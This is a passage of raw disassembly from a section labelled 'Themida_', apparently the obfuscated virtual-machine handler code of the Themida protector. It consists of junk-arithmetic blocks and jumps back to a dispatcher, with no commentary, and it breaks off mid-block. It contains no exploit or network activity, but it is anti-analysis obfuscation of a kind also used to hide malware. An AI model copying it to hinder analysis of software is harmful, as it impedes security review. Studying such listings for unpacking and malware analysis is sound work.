loc_5926B1: ; CODE XREF: Themida_:0058D566j
pop ebp
pop dword ptr [esp]
jmp loc_58A1E0
; ---------------------------------------------------------------------------
loc_5926BA: ; CODE XREF: Themida_:00591D3Cj
push ecx
push 71BCh
jmp loc_592969
; ---------------------------------------------------------------------------
loc_5926C5: ; CODE XREF: Themida_:0058A79Ej
and cl, 3
inc cl
push ax
mov ah, 0BEh
and cl, ah
pop ax
push ebx
jmp loc_58D10B
; ---------------------------------------------------------------------------
loc_5926D8: ; CODE XREF: Themida_:0058ED78j
push ebx
mov bh, 0AAh
sub al, bh
pop ebx
sub bh, al
jmp loc_591C0F
; ---------------------------------------------------------------------------
loc_5926E5: ; CODE XREF: Themida_:0058FBFDj
sub ebp, 19C22F5Dh
sub ebp, ebx
add ebp, 19C22F5Dh
jmp loc_59394E
; ---------------------------------------------------------------------------
loc_5926F8: ; CODE XREF: Themida_:00591570j
sub esi, 667002AFh
mov edi, esi
pop esi
jmp loc_58CF72
; ---------------------------------------------------------------------------
loc_592706: ; CODE XREF: Themida_:0058BC3Bj
push edi
mov edi, 4D9D23C7h
dec edi
dec edi
push ebx
push edi
jmp loc_58E60D
; ---------------------------------------------------------------------------
loc_592715: ; CODE XREF: Themida_:005940DFj
mov esi, 4
add ebp, 23051566h
add ebp, esi
sub ebp, 23051566h
pop esi
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push eax
push ecx
mov cl, 94h
mov al, cl
pop ecx
shr al, 5
shr al, 2
jmp loc_590E04
; ---------------------------------------------------------------------------
loc_592745: ; CODE XREF: Themida_:0058E210j
inc eax
and eax, 108359ABh
shl eax, 7
shl eax, 6
sub eax, 0FF710143h
or edi, eax
mov eax, [esp]
add esp, 4
jmp loc_59152E
; ---------------------------------------------------------------------------
loc_592766: ; CODE XREF: Themida_:00592887j
push ecx
mov ecx, 42A76295h
xor ecx, 33B91F63h
xor ecx, 68AA606Fh
push ecx
pop edx
pop ecx
add edx, 0D7D8C51Ch
sub edi, 1CEC3D57h
add edi, 4056548Ah
add edi, 0EB85DA1h
add edi, edx
sub edi, 0EB85DA1h
push eax
mov eax, 4056548Ah
sub edi, eax
pop eax
add edi, 1CEC3D57h
jmp loc_58BD48
; ---------------------------------------------------------------------------
loc_5927AF: ; CODE XREF: Themida_:0058B551j
sub edx, eax
push esi
mov esi, 67BA44F1h
xor esi, 7DAA3F5Bh
add edx, 440F2150h
add edx, esi
jmp loc_592092
; ---------------------------------------------------------------------------
loc_5927CA: ; CODE XREF: Themida_:0058D639j
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5927E1: ; CODE XREF: Themida_:0058B618j
push edx
jmp loc_589FC0
; ---------------------------------------------------------------------------
loc_5927E7: ; CODE XREF: Themida_:0058EB80j
mov eax, 19AF4D22h
add ecx, eax
pop eax
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push esi
mov esi, 2
jmp loc_590544
; ---------------------------------------------------------------------------
loc_59280D: ; CODE XREF: Themida_:0058EF00j
pop ebp
dec esi
or esi, 60D460ACh
push ebp
mov ebp, 7F760BAEh
add ebp, 6F4C22ABh
not ebp
or ebp, 62880BADh
xor ebp, 4DF5DF55h
add esi, ebp
pop ebp
jmp loc_589E8C
; ---------------------------------------------------------------------------
loc_592837: ; CODE XREF: Themida_:0058AF5Ej
push ebx
mov edi, [esp]
add esp, 4
push 5A63h
mov [esp], edi
jmp loc_58E45A
; ---------------------------------------------------------------------------
loc_59284E: ; CODE XREF: Themida_:00590A11j
push ecx
jmp loc_58995B
; ---------------------------------------------------------------------------
loc_592854: ; CODE XREF: Themida_:0058C51Bj
push esp
pop eax
add eax, 4
jmp loc_5937F8
; ---------------------------------------------------------------------------
loc_592860: ; CODE XREF: Themida_:0058A502j
pop esp
mov [esp], ecx
mov cl, 0BEh
jmp loc_58A871
; ---------------------------------------------------------------------------
loc_59286B: ; CODE XREF: Themida_:0058B524j
push ecx
mov ecx, esi
mov edx, ecx
pop ecx
jmp loc_5959DB
; ---------------------------------------------------------------------------
loc_592876: ; CODE XREF: Themida_:0058E03Aj
add ebp, 4
xchg ebp, [esp]
jmp loc_589BA4
; ---------------------------------------------------------------------------
loc_592884: ; CODE XREF: Themida_:0059186Ej
mov [esp], edx
jmp loc_592766
; ---------------------------------------------------------------------------
loc_59288C: ; CODE XREF: Themida_:0058F4E5j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
add esi, 4
jmp loc_5956DF
; ---------------------------------------------------------------------------
loc_59289E: ; CODE XREF: Themida_:0058D6D8j
add ebx, ebp
pop ebp
jmp loc_58F192
; ---------------------------------------------------------------------------
dd offset byte_616168
dw 8900h
dd 0BB241Ch, 9000002h, 1C8B1C5Fh, 0EC835724h, 9A5AE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5928C2: ; CODE XREF: Themida_:00593F2Bj
mov [esp], edx
push ebx
jmp loc_593549
; ---------------------------------------------------------------------------
loc_5928CB: ; CODE XREF: Themida_:00594900j
inc edi
add edi, 0BAE91E3Bh
jmp loc_58FDC5
; ---------------------------------------------------------------------------
loc_5928D7: ; CODE XREF: Themida_:00590EB1j
or esi, edi
pop edi
push edi
mov edi, 73661775h
sub esi, edi
jmp loc_5955D0
; ---------------------------------------------------------------------------
loc_5928E7: ; CODE XREF: Themida_:00591C9Cj
pop eax
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
add esp, 4
and [esp], eax
pushf
jmp loc_59212B
; ---------------------------------------------------------------------------
loc_592909: ; CODE XREF: Themida_:0058B338j
sub esp, 4
jmp loc_58A662
; ---------------------------------------------------------------------------
loc_592911: ; CODE XREF: Themida_:0058DA13j
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
imul ecx, eax
jmp loc_594223
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
push esp
mov ecx, [esp]
jmp loc_58E3B2
; ---------------------------------------------------------------------------
loc_592932: ; CODE XREF: Themida_:0058C818j
sub esp, 4
mov [esp], ebp
jmp loc_58AA6E
; ---------------------------------------------------------------------------
loc_59293D: ; CODE XREF: Themida_:00594729j
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592949: ; CODE XREF: Themida_:00593CCBj
add ebx, esi
push ecx
mov ecx, 3D326D0h
sub ebx, ecx
pop ecx
jmp loc_58E439
; ---------------------------------------------------------------------------
loc_592959: ; CODE XREF: Themida_:00592E34j
shr eax, 2
sub eax, 5ECA534Ch
shr eax, 5
jmp loc_58A53A
; ---------------------------------------------------------------------------
loc_592969: ; CODE XREF: Themida_:005926C0j
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_589C94
; ---------------------------------------------------------------------------
loc_592982: ; CODE XREF: Themida_:0058D243j
mov [esp], ebp
mov ebp, 54A12CD3h
jmp loc_58F7A5
; ---------------------------------------------------------------------------
loc_59298F: ; CODE XREF: Themida_:00593772j
shl edx, 1
push 19Ah
mov [esp], ebx
push edi
mov edi, 0FFFFFFFFh
push esi
push eax
jmp loc_589E03
; ---------------------------------------------------------------------------
loc_5929A6: ; CODE XREF: Themida_:00593DD2j
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
jmp loc_593669
; ---------------------------------------------------------------------------
loc_5929C1: ; CODE XREF: Themida_:0058BBE8j
xor [esp+4], ebx
pop ebx
pop eax
jmp loc_594D3E
; ---------------------------------------------------------------------------
loc_5929CC: ; CODE XREF: Themida_:00595447j
add ecx, edi
push edi
mov edi, 6F225898h
sub ecx, edi
pop edi
add ecx, 45195F11h
add ecx, 72E52118h
jmp loc_5913D8
; ---------------------------------------------------------------------------
loc_5929E8: ; CODE XREF: Themida_:0058FCA8j
mov esp, [esp]
shr ecx, 2
push 17C2h
mov [esp], ebx
jmp loc_58B60A
; ---------------------------------------------------------------------------
loc_5929FB: ; CODE XREF: Themida_:0058DDAFj
mov dh, 80h
sub ah, dh
jmp loc_589D43
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592A0C: ; CODE XREF: Themida_:0058C2D3j
dec eax
not eax
jmp loc_58D115
; ---------------------------------------------------------------------------
loc_592A14: ; CODE XREF: Themida_:0059375Ej
pop edx
mov ebx, esi
jmp loc_58AEDE
; ---------------------------------------------------------------------------
loc_592A1C: ; CODE XREF: Themida_:00591904j
xor [esp], eax
jmp loc_59113A
; ---------------------------------------------------------------------------
loc_592A24: ; CODE XREF: Themida_:0058C5C3j
push edx
mov edx, esp
push ebp
mov ebp, 4
jmp loc_595870
; ---------------------------------------------------------------------------
loc_592A32: ; CODE XREF: Themida_:00592528j
mov edi, esp
push 2DE8h
jmp loc_58FE60
; ---------------------------------------------------------------------------
loc_592A3E: ; CODE XREF: Themida_:0058CF99j
push ecx
mov cl, al
mov dh, cl
pop ecx
pop eax
shr dh, 3
push ebx
mov bl, 68h
push 0
sub [esp], bl
mov bl, [esp]
add esp, 4
neg bl
not bl
inc bl
add bl, 6Dh
xor bl, 17h
jmp loc_58DBA2
; ---------------------------------------------------------------------------
push 7B64h
jmp loc_58DDB4
; ---------------------------------------------------------------------------
loc_592A74: ; CODE XREF: Themida_:00593416j
mov edx, eax
push edx
sub dword ptr [esp], 2953297Eh
pop eax
jmp loc_58EC18
; ---------------------------------------------------------------------------
loc_592A84: ; CODE XREF: Themida_:0058B809j
sub [esp], cl
mov cl, [esp]
jmp loc_58C431
; ---------------------------------------------------------------------------
loc_592A8F: ; CODE XREF: Themida_:0058F758j
mov ebx, 4B355809h
not ebx
push 5AF1h
mov [esp], edi
mov edi, 33470E73h
jmp loc_590C1F
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_592451
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_58D239
; ---------------------------------------------------------------------------
loc_592AB7: ; CODE XREF: Themida_:0058975Aj
mov edi, 4
add [esp+4], edi
pop edi
pop ebx
sub esp, 4
mov [esp], eax
mov eax, 3E8046Fh
xor eax, 413A17E4h
jmp loc_58DE35
; ---------------------------------------------------------------------------
loc_592ADA: ; CODE XREF: Themida_:0058E5D7j
mov edi, ebx
mov ebx, [esp]
add esp, 4
shl edi, 5
xor edi, 60EBC2DBh
add esi, edi
pop edi
jmp loc_592D6C
; ---------------------------------------------------------------------------
loc_592AF3: ; CODE XREF: Themida_:005930A8j
sub ecx, esi
pop esi
push edi
jmp loc_59416E
; ---------------------------------------------------------------------------
loc_592AFC: ; CODE XREF: Themida_:005907D5j
sub esp, 4
mov [esp], ebp
mov ebp, 466D4EE6h
jmp loc_594714
; ---------------------------------------------------------------------------
loc_592B0F: ; CODE XREF: Themida_:00589D2Bj
add esp, 4
sub ecx, ebp
jmp loc_58C4AA
; ---------------------------------------------------------------------------
loc_592B19: ; CODE XREF: Themida_:0058DD24j
sub ch, al
pop eax
shr ch, 5
not ch
push ebx
mov bl, 86h
add bl, 91h
not bl
add bl, 19h
add ch, bl
pop ebx
push edx
push cx
push edx
jmp loc_58DF71
; ---------------------------------------------------------------------------
loc_592B38: ; CODE XREF: Themida_:0059155Aj
mov esi, [esp]
add esp, 4
jmp loc_59548E
; ---------------------------------------------------------------------------
loc_592B46: ; CODE XREF: Themida_:00590853j
add al, 5Fh
sub al, 91h
add al, dl
push ebx
jmp loc_58E4D8
; ---------------------------------------------------------------------------
loc_592B52: ; CODE XREF: Themida_:0058CAC2j
pop edi
jmp loc_58F0C2
; ---------------------------------------------------------------------------
loc_592B58: ; CODE XREF: Themida_:005908BCj
add edi, 4
jmp loc_58E93B
; ---------------------------------------------------------------------------
loc_592B63: ; CODE XREF: Themida_:00594585j
mov edx, esp
jmp loc_58DA42
; ---------------------------------------------------------------------------
loc_592B6A: ; CODE XREF: Themida_:0058EAADj
xor esi, 35F83268h
jmp loc_58B04C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592B84: ; CODE XREF: Themida_:0058BB22j
add esi, 4
add esi, 2
xchg esi, [esp]
jmp loc_58E78D
; ---------------------------------------------------------------------------
loc_592B95: ; CODE XREF: Themida_:0058CA66j
pop esi
mov edx, esi
pop esi
pop ecx
add edx, edi
push ebx
jmp loc_58AA78
; ---------------------------------------------------------------------------
loc_592BA2: ; CODE XREF: Themida_:0058D1F0j
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
movzx cx, al
sub esp, 4
mov [esp], ebp
mov ebp, esp
push eax
push edi
push 0F0371FEh
pop edi
or edi, 6941478Eh
jmp loc_5954DD
; ---------------------------------------------------------------------------
loc_592BD4: ; CODE XREF: Themida_:0059131Fj
sub ecx, 3BC66F14h
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 4
jmp loc_593AEE
; ---------------------------------------------------------------------------
loc_592BF0: ; CODE XREF: Themida_:0059494Aj
mov ebp, 5B9919CAh
jmp loc_58DD81
; ---------------------------------------------------------------------------
loc_592BFA: ; CODE XREF: Themida_:00591A54j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_58955A
; ---------------------------------------------------------------------------
loc_592C10: ; CODE XREF: Themida_:0058A3ABj
push edi
xor dword ptr [esp], 3CC610DAh
jmp loc_58BDC8
; ---------------------------------------------------------------------------
loc_592C1D: ; CODE XREF: Themida_:0058E600j
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_58DD78
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592C3D: ; CODE XREF: Themida_:005914F3j
add esp, 4
push ecx
push edx
jmp loc_595B4C
; ---------------------------------------------------------------------------
loc_592C4A: ; CODE XREF: Themida_:00595716j
pop esi
add ebp, edi
push dword ptr [esp]
jmp loc_594D16
; ---------------------------------------------------------------------------
loc_592C55: ; CODE XREF: Themida_:0058B5BEj
push edi
push 0C4047FDh
pop edi
add edi, 2FF083Ch
xor edx, edi
mov edi, [esp]
add esp, 4
or ecx, ecx
jz loc_5932D9
push 17F8h
jmp loc_591A59
; ---------------------------------------------------------------------------
loc_592C7F: ; CODE XREF: Themida_:00590F52j
xor esi, 6AFF28CEh
xor esi, 99312C22h
xor edi, esi
pop esi
jmp loc_590A08
; ---------------------------------------------------------------------------
loc_592C93: ; CODE XREF: Themida_:0058A20Aj
pop ecx
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_595459
; ---------------------------------------------------------------------------
loc_592CA1: ; CODE XREF: Themida_:00590A5Bj
add esi, eax
pop eax
push edx
mov edx, 7C8C1497h
xor edx, 653E5430h
neg edx
xor edx, 7D2B74BEh
or edx, 51774534h
push ebx
mov ebx, 77F14D0h
push eax
mov eax, 422405FDh
sub eax, 656E43BFh
xor eax, 1CBC2957h
shr eax, 3
sub eax, 0A6E02DAEh
add ebx, eax
pop eax
or ebx, 51E525C0h
add ebx, 0BBBFEB46h
or edx, ebx
pop ebx
jmp loc_589592
; ---------------------------------------------------------------------------
loc_592CF3: ; CODE XREF: Themida_:00594037j
push dword ptr [esp]
jmp loc_58FEF3
; ---------------------------------------------------------------------------
loc_592CFB: ; CODE XREF: Themida_:0058AABEj
mov dx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_58E698
; ---------------------------------------------------------------------------
loc_592D0D: ; CODE XREF: Themida_:0059304Ej
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592D15: ; CODE XREF: Themida_:0059499Ej
xchg edi, esi
not edi
xor esi, edi
xor edi, esi
jmp loc_591DC8
; ---------------------------------------------------------------------------
loc_592D22: ; CODE XREF: Themida_:0058A24Fj
mov esi, 17F203DBh
sub esi, 761312F3h
dec esi
jmp loc_592DA9
; ---------------------------------------------------------------------------
loc_592D33: ; CODE XREF: Themida_:0058F7D5j
sub dword ptr [esp+4], 3EE5083Bh
push ebp
jmp loc_594363
; ---------------------------------------------------------------------------
loc_592D41: ; CODE XREF: Themida_:00591CE4j
push eax
push 18DC1796h
jmp loc_58D82B
; ---------------------------------------------------------------------------
loc_592D4C: ; CODE XREF: Themida_:005920A0j
push 1D24h
mov [esp], edx
push esp
pop edx
push ecx
mov ecx, 2B05503Eh
shr ecx, 5
neg ecx
jmp loc_594405
; ---------------------------------------------------------------------------
loc_592D66: ; CODE XREF: Themida_:0058B130j
pop esp
jmp loc_5913CF
; ---------------------------------------------------------------------------
loc_592D6C: ; CODE XREF: Themida_:00592AEEj
sub esp, 4
mov [esp], ecx
mov ecx, 418B5F76h
sub esi, 536C4898h
add esi, ecx
add esi, 536C4898h
pop ecx
jmp loc_58C6E0
; ---------------------------------------------------------------------------
loc_592D8E: ; CODE XREF: Themida_:0058D77Aj
add esp, 4
jmp loc_5924C1
; ---------------------------------------------------------------------------
loc_592D99: ; CODE XREF: Themida_:0058B03Cj
add ebx, ecx
jmp loc_58CF9E
; ---------------------------------------------------------------------------
loc_592DA0: ; CODE XREF: Themida_:0058C7D5j
mov [esp], ebx
push ecx
jmp loc_58A77C
; ---------------------------------------------------------------------------
loc_592DA9: ; CODE XREF: Themida_:00592D2Ej
sub esi, 0A1DEF0E3h
jmp loc_5912C6
; ---------------------------------------------------------------------------
loc_592DB4: ; CODE XREF: Themida_:0058A66Aj
shl ebp, 2
jmp loc_593C1E
; ---------------------------------------------------------------------------
loc_592DBC: ; CODE XREF: Themida_:0058E35Dj
mov al, 0Fh
mov ch, al
jmp loc_58CE48
; ---------------------------------------------------------------------------
loc_592DC5: ; CODE XREF: Themida_:0059169Aj
neg al
sub esp, 4
mov [esp], ecx
push eax
mov al, 0BBh
mov ch, al
pop eax
inc ch
not ch
xor ch, 0E0h
and ch, 47h
jmp loc_590EA2
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
add dword ptr [esp], 4
pop ecx
push eax
jmp loc_58FE7E
; ---------------------------------------------------------------------------
loc_592DF6: ; CODE XREF: Themida_:0058E96Dj
mov [esp], ebx
sub esp, 4
mov [esp], edi
mov edi, 376A2442h
or edi, 0FC14371h
push ebx
mov ebx, 656548E7h
jmp loc_59254C
; ---------------------------------------------------------------------------
loc_592E15: ; CODE XREF: Themida_:0058CE60j
mov esi, [esp]
add esp, 4
or eax, eax
jz loc_58A997
push dword ptr [edi+28h]
jmp loc_594BAD
; ---------------------------------------------------------------------------
loc_592E2B: ; CODE XREF: Themida_:0058D26Dj
mov [esp], ecx
push eax
mov eax, 76745674h
jmp loc_592959
; ---------------------------------------------------------------------------
loc_592E39: ; CODE XREF: Themida_:0058C523j
xor edx, ebx
pop ebx
jmp loc_58E9DA
; ---------------------------------------------------------------------------
loc_592E41: ; CODE XREF: Themida_:00590531j
shr edx, 1
shr edx, 2
neg edx
sub edx, 0A5A6D4Ch
sub esp, 4
mov [esp], ebx
jmp loc_58B35B
; ---------------------------------------------------------------------------
loc_592E59: ; CODE XREF: Themida_:0058BA91j
or edi, 3A91EE7h
shl edi, 6
shl edi, 7
sub edi, 65410B9Eh
push esi
jmp loc_58ECCC
; ---------------------------------------------------------------------------
loc_592E71: ; CODE XREF: Themida_:0059044Bj
pop ebp
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
push 1E6Fh
jmp loc_594D4C
; ---------------------------------------------------------------------------
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_58EFE2
; ---------------------------------------------------------------------------
loc_592EA1: ; CODE XREF: Themida_:005923FCj
mov edx, esp
jmp loc_593EBD
; ---------------------------------------------------------------------------
loc_592EA8: ; CODE XREF: Themida_:0058B2A1j
sub [esp], ebx
jmp loc_58D96E
; ---------------------------------------------------------------------------
loc_592EB0: ; CODE XREF: Themida_:00590F90j
sub al, ch
pop ecx
push ecx
mov cl, 8
sub al, cl
pop ecx
add al, bl
add al, 8
jmp loc_58FD5C
; ---------------------------------------------------------------------------
loc_592EC2: ; CODE XREF: Themida_:0058A15Dj
add eax, ecx
pop ecx
push edx
mov edx, 30001103h
shl edx, 2
add edx, 1
xor edx, 30F306DAh
jmp loc_58B1A2
; ---------------------------------------------------------------------------
loc_592EDC: ; CODE XREF: Themida_:00591FEAj
pop ecx
push ebp
jmp loc_590631
; ---------------------------------------------------------------------------
loc_592EE3: ; CODE XREF: Themida_:0058D537j
push dword ptr [esp+4]
jmp loc_58BFED
; ---------------------------------------------------------------------------
loc_592EEC: ; CODE XREF: Themida_:0058B105j
sub ebx, 4
xchg ebx, [esp]
pop esp
push 0EA3h
jmp loc_58FFE9
; ---------------------------------------------------------------------------
loc_592F00: ; CODE XREF: Themida_:00591A46j
pop esp
jmp loc_58D4F2
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58FBB9
; ---------------------------------------------------------------------------
loc_592F0F: ; CODE XREF: Themida_:0058D4A3j
xor edx, 784F390Ch
push edi
mov edi, 3D2433CAh
sub edx, edi
jmp loc_58B7AA
; ---------------------------------------------------------------------------
loc_592F22: ; CODE XREF: Themida_:0059557Bj
add eax, 4
jmp loc_58F9F2
; ---------------------------------------------------------------------------
loc_592F2C: ; CODE XREF: Themida_:0058EFD5j
dec esi
dec esi
add esi, 639D3C00h
add ebx, 1B390ABCh
sub ebx, esi
sub ebx, 1B390ABCh
pop esi
push edi
mov edi, 521C5131h
jmp loc_59082C
; ---------------------------------------------------------------------------
loc_592F4E: ; CODE XREF: Themida_:0058B388j
dec bl
xor bl, 3Dh
sub al, bl
pop ebx
jmp loc_591B96
; ---------------------------------------------------------------------------
loc_592F5B: ; CODE XREF: Themida_:0058CC96j
mov dh, ch
pop ecx
jmp loc_59065D
; ---------------------------------------------------------------------------
loc_592F63: ; CODE XREF: Themida_:005931D2j
push edx
not dword ptr [esp]
pop edx
sub edx, 0FFFFFFFFh
inc edx
xchg edi, edx
not edi
jmp loc_594DBE
; ---------------------------------------------------------------------------
loc_592F75: ; CODE XREF: Themida_:005913C1j
mov esp, [esp]
div cl
movzx cx, ah
push small 3AB7h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
lodsb
add al, 0Fh
push edx
jmp loc_58F320
; ---------------------------------------------------------------------------
loc_592F9B: ; CODE XREF: Themida_:00593964j
push eax
jmp loc_58A5E6
; ---------------------------------------------------------------------------
loc_592FA1: ; CODE XREF: Themida_:0058B93Bj
pop ecx
push edi
mov edi, ebp
mov ebx, edi
pop edi
jmp loc_58CFEE
; ---------------------------------------------------------------------------
loc_592FAD: ; CODE XREF: Themida_:0059071Cj
pop ecx
shr edi, 5
xor edi, 5CFB0845h
push ecx
jmp loc_5900C5
; ---------------------------------------------------------------------------
loc_592FBD: ; CODE XREF: Themida_:0058DB01j
add al, cl
pop ecx
push ecx
jmp loc_59368A
; ---------------------------------------------------------------------------
loc_592FC6: ; CODE XREF: Themida_:0058F539j
pop ecx
jmp loc_58AC4E
; ---------------------------------------------------------------------------
loc_592FCC: ; CODE XREF: Themida_:00593CD7j
mov cl, 93h
sub ah, cl
jmp loc_58B903
; ---------------------------------------------------------------------------
loc_592FD5: ; CODE XREF: Themida_:00593532j
mov ecx, 2142449Ch
neg ecx
and ecx, 0AA07112h
jmp loc_58F43F
; ---------------------------------------------------------------------------
loc_592FE7: ; CODE XREF: Themida_:005894E9j
mov ebx, esp
push 15DDh
mov [esp], edx
mov edx, 2B347291h
sub edx, 27195EE7h
not edx
dec edx
jmp loc_58CCDA
; ---------------------------------------------------------------------------
loc_593004: ; CODE XREF: Themida_:0058B605j
pop esi
add edi, 9ED991E3h
add eax, edi
pop edi
sub eax, 4
jmp loc_58962B
; ---------------------------------------------------------------------------
mov eax, [esp]
push 5B26h
jmp loc_593DE7
; ---------------------------------------------------------------------------
loc_593023: ; CODE XREF: Themida_:00595A7Bj
xor edi, eax
pop eax
push esi
mov esi, 34BF5F0Fh
xor edi, esi
pop esi
add eax, edi
pop edi
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 0
mov [edx+30h], ecx
mov ecx, [esp]
add esp, 4
jmp loc_592D0D
; ---------------------------------------------------------------------------
loc_593053: ; CODE XREF: Themida_:0058C980j
add edi, 0FFFFFFFFh
inc edi
shr edi, 8
jmp loc_5939F3
; ---------------------------------------------------------------------------
loc_593062: ; CODE XREF: Themida_:00590307j
add esp, 4
add [edi+24h], ebp
pop ebp
loc_59306C: ; CODE XREF: Themida_:0058ADB8j
push esi
jmp loc_58CFE6
; ---------------------------------------------------------------------------
loc_593072: ; CODE XREF: Themida_:0059176Dj
pop eax
jmp loc_5905A0
; ---------------------------------------------------------------------------
loc_593078: ; CODE XREF: Themida_:0058BB4Fj
shr edi, 8
inc edi
xor edi, 267F8F19h
xor edi, esi
pop esi
not edi
inc edi
jmp loc_58A507
; ---------------------------------------------------------------------------
loc_59308D: ; CODE XREF: Themida_:00590DCBj
mov ecx, 58297234h
jmp loc_594483
; ---------------------------------------------------------------------------
loc_593097: ; CODE XREF: Themida_:0058BF4Fj
sub ecx, edi
pop edi
push esi
mov esi, 5BD701D3h
not esi
add esi, 847D4480h
jmp loc_592AF3
; ---------------------------------------------------------------------------
lodsd
jmp loc_58CB75
; ---------------------------------------------------------------------------
loc_5930B3: ; CODE XREF: Themida_:00589E45j
mov ebx, [esp]
add esp, 4
push ecx
push ebp
mov ebp, 36693B2Ah
not ebp
xor ebp, 3A8E67EEh
and ebp, 0FA80897h
neg ebp
jmp loc_58CE03
; ---------------------------------------------------------------------------
loc_5930D8: ; CODE XREF: Themida_:00594FF0j
push ecx
push 0
pop ecx
jmp loc_594FCA
; ---------------------------------------------------------------------------
loc_5930E4: ; CODE XREF: Themida_:0058F5C3j
mov edi, 4505E4Ah
add edi, 7203AC23h
sub eax, edi
jmp loc_590D13
; ---------------------------------------------------------------------------
loc_5930F6: ; CODE XREF: Themida_:00591534j
mov ebx, 2E450A8h
or edi, ebx
jmp loc_5895AB
; ---------------------------------------------------------------------------
loc_593102: ; CODE XREF: Themida_:005955CBj
push ecx
mov ecx, 38EF0F2Eh
push eax
mov eax, 497F0271h
mov edi, eax
jmp loc_58A2C1
; ---------------------------------------------------------------------------
loc_593115: ; CODE XREF: Themida_:0058E1D8j
mov edx, 538764ECh
inc edx
add edx, 0D1480690h
sub ebx, edx
pop edx
push edx
mov edx, 0
add edx, 55B30331h
sub edx, 1B683836h
add edx, ebx
add edx, 1B683836h
sub edx, 55B30331h
mov ecx, [edx]
mov edx, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
push 3644h
mov [esp], esi
jmp loc_5907A8
; ---------------------------------------------------------------------------
loc_593162: ; CODE XREF: Themida_:0058E17Fj
add bl, al
pop eax
push edx
mov dh, 0D7h
add bl, dh
pop edx
xor al, bl
pop ebx
push eax
mov al, 0Bh
dec al
push ax
not byte ptr [esp]
pop ax
and al, 5Bh
shl al, 6
jmp loc_591C6D
; ---------------------------------------------------------------------------
loc_593184: ; CODE XREF: Themida_:0058DE39j
push edx
mov edx, 216909C9h
add eax, edx
pop edx
add ebx, eax
jmp loc_5906D7
; ---------------------------------------------------------------------------
loc_593194: ; CODE XREF: Themida_:00591054j
pop eax
or bh, ch
pop ecx
sub bh, 0B3h
xor bh, 4Ch
add bh, 92h
jmp near ptr unk_58BDD5
; ---------------------------------------------------------------------------
loc_5931A6: ; CODE XREF: Themida_:005907E3j
mov [esp], eax
push 85962DBh
pop eax
jmp loc_58AA58
; ---------------------------------------------------------------------------
loc_5931B4: ; CODE XREF: Themida_:0058B396j
add cx, 6FDAh
add cx, 2FB9h
push edi
mov di, 6C7Bh
push eax
jmp loc_58D0D7
; ---------------------------------------------------------------------------
loc_5931C9: ; CODE XREF: Themida_:0058A1ACj
push eax
mov eax, esp
push edx
mov edx, 508377EEh
jmp loc_592F63
; ---------------------------------------------------------------------------
loc_5931D7: ; CODE XREF: Themida_:0058A263j
xor ebx, 28156C48h
inc ebx
push eax
mov eax, 1A9D5752h
jmp loc_589644
; ---------------------------------------------------------------------------
loc_5931E9: ; CODE XREF: Themida_:0058FA57j
inc edi
xor edi, 2CBE069Fh
sub edx, edi
pop edi
add esi, 66F7B9Ah
sub esi, edx
sub esi, 66F7B9Ah
pop edx
add esi, eax
push ebp
jmp loc_58BAF0
; ---------------------------------------------------------------------------
loc_59320A: ; CODE XREF: Themida_:0058E4B1j
mov ch, 0B1h
neg ch
jmp loc_58BAAC
; ---------------------------------------------------------------------------
loc_593213: ; CODE XREF: Themida_:0058B084j
sub eax, esi
jmp loc_5938FF
; ---------------------------------------------------------------------------
loc_59321A: ; CODE XREF: Themida_:0058BBA2j
not ch
add ch, 0F9h
jmp loc_58EFBE
; ---------------------------------------------------------------------------
loc_593224: ; CODE XREF: Themida_:0058ACE5j
add eax, 564A54A6h
jmp loc_590A27
; ---------------------------------------------------------------------------
loc_59322E: ; CODE XREF: Themida_:0058B83Fj
push ecx
mov ecx, 64812BC9h
dec ecx
jmp loc_594E5E
; ---------------------------------------------------------------------------
loc_59323A: ; CODE XREF: Themida_:0058CBF5j
pop ebx
add esp, 4
push ecx
mov ecx, esp
push 3126h
jmp loc_58E9C7
; ---------------------------------------------------------------------------
loc_59324E: ; CODE XREF: Themida_:0058ACCCj
mov esp, [esp]
imul cx, ax
